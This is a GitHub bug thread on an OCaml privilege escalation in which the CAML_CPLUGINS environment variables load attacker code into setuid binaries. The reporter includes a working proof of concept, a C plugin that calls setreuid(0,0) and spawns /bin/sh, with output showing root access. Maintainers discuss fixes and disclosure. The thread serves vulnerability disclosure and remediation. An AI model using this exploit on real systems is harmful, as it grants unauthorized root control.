Skip to content

local privilege escalation issue with ocaml binaries #7557

Closed

Description

@vicuna

Original bug ID: 7557
Reporter: emilliken
Assigned to: @damiendoligez
Status: resolved (set by @damiendoligez on 2017-06-23T15:19:47Z)
Resolution: fixed
Priority: urgent
Severity: major
OS: *nix
Version: 4.04.0
Target version: 4.04.2
Fixed in version: 4.04.2
Category: runtime system and C interface
Monitored by: @gasche

Bug description

I've marked this issue as private.

By default, it seems the environment variables CAML_CPLUGINS, CAML_NATIVE_CPLUGINS, and CAML_BYTE_CPLUGINS can be used to auto-load code into any executable produced with ocamlopt or ocamlc. This can lead to privilege escalation if the binary is marked setuid.

Steps to reproduce

To demonstrate, as root, do:

cat > hello.ml << EOF

let _ =
print_endline "hello, world"
EOF

ocamlopt -o hello hello.ml

chmod +s hello

As an unprivileged user, do:

$ cat > exp.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

void caml_cplugin_init() {
printf("IN PLUGIN\n");
setreuid(0,0);
execl("/bin/sh", "sh", NULL);
}
EOF
$ gcc -shared -fPIC -o exp.so exp.c
$ id
uid=1002(user) gid=1002(user) groups=1002(user)
$ CAML_CPLUGINS=./exp.so ./hello
IN PLUGIN

id

uid=0(root) gid=1002(user) egid=0(root) groups=0(root),1002(user)

Additional information

It sounds like the fix involves making sure that the effective uid matches the real uid before loading any plugins. Code is in byterun/sys.c

File attachments

Activity

  1. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @lefessan

    Another fix would be to use "./configure --no-cplugins" when building OCaml, to completely avoid cplugins when creating setuid executables.

    Maybe we could also create a "secure" runtime variant, that would disable cplugins, and maybe other features seen as security weaknesses.

  2. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @dra27

    @lefessan - just in case you were planning to, please don't push patches to GitHub at this stage.

  3. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @dra27

    @emilliken - thanks for the report, and for your sensitivity in not marking it public. Can I ask whether you've found this as a result of a security review of the code, or as part of a production system?

  4. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @mshinwell

    Leo and I looked at this a little and we suspect that checking the real and effective uids is the right solution.

    I think I would be in favour of some kind of "secure" runtime variant (but shouldn't that be the default)?

  5. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @dra27

    It's certainly surprised me that this undocumented feature was enabled by default - unless you'd seen #668, I'm not clear how you'd know it was there?

  6. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @xavierleroy

    This is a serious issue indeed, many thanks for reporting it.

    I think the first thing to do is to harden the existing plugin mechanism along the lines suggested by the reporter, i.e. check the effective and real user ids.

    Then we should (re-)discuss whether the plugin mechanism should be on by default or off by default with a configure-time flag to activate it.

  7. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @lpw25

    It might be worth using issetugid on the systems that provide it (I think Solaris, MacOs and the BSDs). It's slightly more robust than the uid == euid check since it will still trigger even if the original program does something like setuid(0).

  8. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @dra27

    On the administrative side, I don't think we can avoid OCaml's second CVE: we need to disclose that 4.04.0 and 4.04.1 are vulnerable, and presumably we will need to release this fix as 4.04.2 or at least provide a back-port patch for 4.04.1?

  9. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @lpw25

    For reference, here is the code in glibc which effectively guards LD_PRELOAD from similar issues:

    __libc_enable_secure = (__geteuid () != __getuid ()
    || __getegid () != __getgid ());

    which is in elf/enbl-secure.c.

  10. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @avsm

    Using issetugid(2) is definitely recommended, when available. While checking current and real uid works to some extent, it doesn't cover the case of existing file handles that are privileged. For instance, is the C plugin code possible to trigger when linking an OCaml program as a library?

    The OpenBSD implementation of issetugid is an instance of a non-uid based check; on that operating system it is a taint flag set at exec time. http://man.openbsd.org/OpenBSD-6.1/issetugid.2

  11. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @mshinwell

    @avsm I don't follow what you mean about "existing file handles that are privileged" (presumably in the case where real uid = effective uid). Can you elaborate?

  12. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @avsm

    The get[e]uid calls only return the current state of the system, and so the library cannot determine what happened previously from the calling code with respect to the uids. Therefore, the process may already have file descriptors open that would be considered privileged (i.e. they were opened with root-level access).

    To cover this case, some issetugid(2) implementations such as OpenBSD "taint" the process if it was ever made setuid or setgid in any previous execve() system calls. This is not something that is easy to recreate from within a library, and hence it is better to call the function if available.

    I believe that glibc/musl libc propagate the libc secure flag that lpw25 posted above, and do not do such taint tracking. Therefore we probably need to analyse what the scope of the C plugin code is -- can it be triggered when OCaml is used as a library, or is it only from within ocamlopt-generated executables before any OCaml code is called?

  13. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: emilliken

    dra - this was found after ltrace'ing my ocaml binary and tracing back some getenv calls. It was not found as part of a production system.

  14. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @dra27

    @emilliken - thanks. It doesn't lessen the seriousness, but it's useful to know that it's not yet been found being exploited!

  15. vicuna commented on Jun 15, 2017

    @vicuna
    Author

    Comment author: @xavierleroy

    I don't follow what you mean about "existing file handles that are privileged" (presumably in the case where real uid = effective uid).

    Perhaps something along the lines of:

    • suid-as-root program starts
    • opens a file descriptor on /etc/shadow
    • drops suid privileges (so that effective uid = real uid again)
    • loads malicious plugin
    • plugin gets access to secrets in /etc/shadow via the file descriptor.
  16. 38 remaining items

  17. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @damiendoligez

    @Frisch

    using environment variables in a setuid program is not necessarily unsafe (it depends on what you do with them)

    Yes but we often get surprised by the creativity of attackers.

    Anyway, do we have any actual example of a setuid program written in OCaml? I'd rather be more secure and risk breaking them (if they exist).

    @lefessan, @avsm
    Please do open a new PR to discuss the future of c-plugins.

  18. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @lefessan

    @avsm Each solution comes with a different trade-off: ease-of-use vs performance vs portability, etc. If you are looking for portability and ease-of-use, the c-plugin mechanism is probably the best currently available for OCaml (from my experience of playing with perf and LD_PRELOAD in the past).

  19. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @stedolan

    @Frish

    There is also a problem with TMPDIR, but it has been around forever and seems much less critical: typically, programs would create temporary files through Unix.open_temp_file, which would not overwrite an existing file.

    No, the security hole with TMPDIR is critical. The issue is not the ability to overwrite an existing file (as you say, open_temp_file will not do this). The issue is that there are several directories on most Unix systems whose contents are habitually executed by root (among many others /etc/init.d, /etc/cron.d, /etc/bash_completion.d). If an attacker can create a file in such directories, of any filename but with attacker-controlled contents, then the attacker can execute arbitrary code as root.

  20. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @alainfrisch

    @stedolan Good point. There is still a difference between the security hole created by CPLUGINS against which the author of the program cannot do anything, and the one related to TMPDIR, for which the author can (and should anyway) explicitly choose the directory (through Filename.set_temp_dir_name or ~temp_dir) if the programs needs to create temporary files.

  21. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @damiendoligez

    This PR is now public

  22. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @damiendoligez

    Fixed in 4.04.2, cherry-picked to 4.05.0 and trunk.
    Trunk version adds Unix.unsafe_getenv; 4.04 and 4.05 don't.

  23. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @stedolan

    @Frisch

    I agree. The TMPDIR hole makes it difficult to write a secure suid program that uses Filename.open_temp_file, while the CPLUGINS hole makes it impossible to write a secure suid program at all.

  24. vicuna commented on Jun 23, 2017

    @vicuna
    Author

    Comment author: @gasche

    Do you think that it would be possible to put some process in place that would help avoid similar issues in the future, without having too much of a bureaucracy cost?

    The only simple thing that I can see right now is: make it an habit that any change that impacts the runtime system has someone thinking about security considerations before the merge decision. That is, not merge until someone explicitly wrote a comment on the PR to the effect of "I reviewed the security implication of the patch and I believe it is safe".

    ("impacts the runtime system" is a rather broad category. Is is broad enough? Is it too broad? I don't see an effective and simple criterion that would be better.)

    (I could try to enforce this in a semi-automated way by asking the person that ticks the "security impact considered" box to add a github label, but my previous adventure with the no-changes-required label suggests that this is fragile in ways I don't completely understand. I would be interested in hearing people's thoughts about the adequate process, rather than how to automate it, first.)

  25. vicuna commented on Jun 24, 2017

    @vicuna
    Author

    Comment author: @xavierleroy

    Let's keep this PR focused on the technical issue that is described in the CVE. Meta-discussions on how to prevent similar blunders in the future should take place elsewhere, e.g. on the Caml developers list.

  26. added this to the 4.04.2 milestone on Mar 14, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

Type

No type

Projects

No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions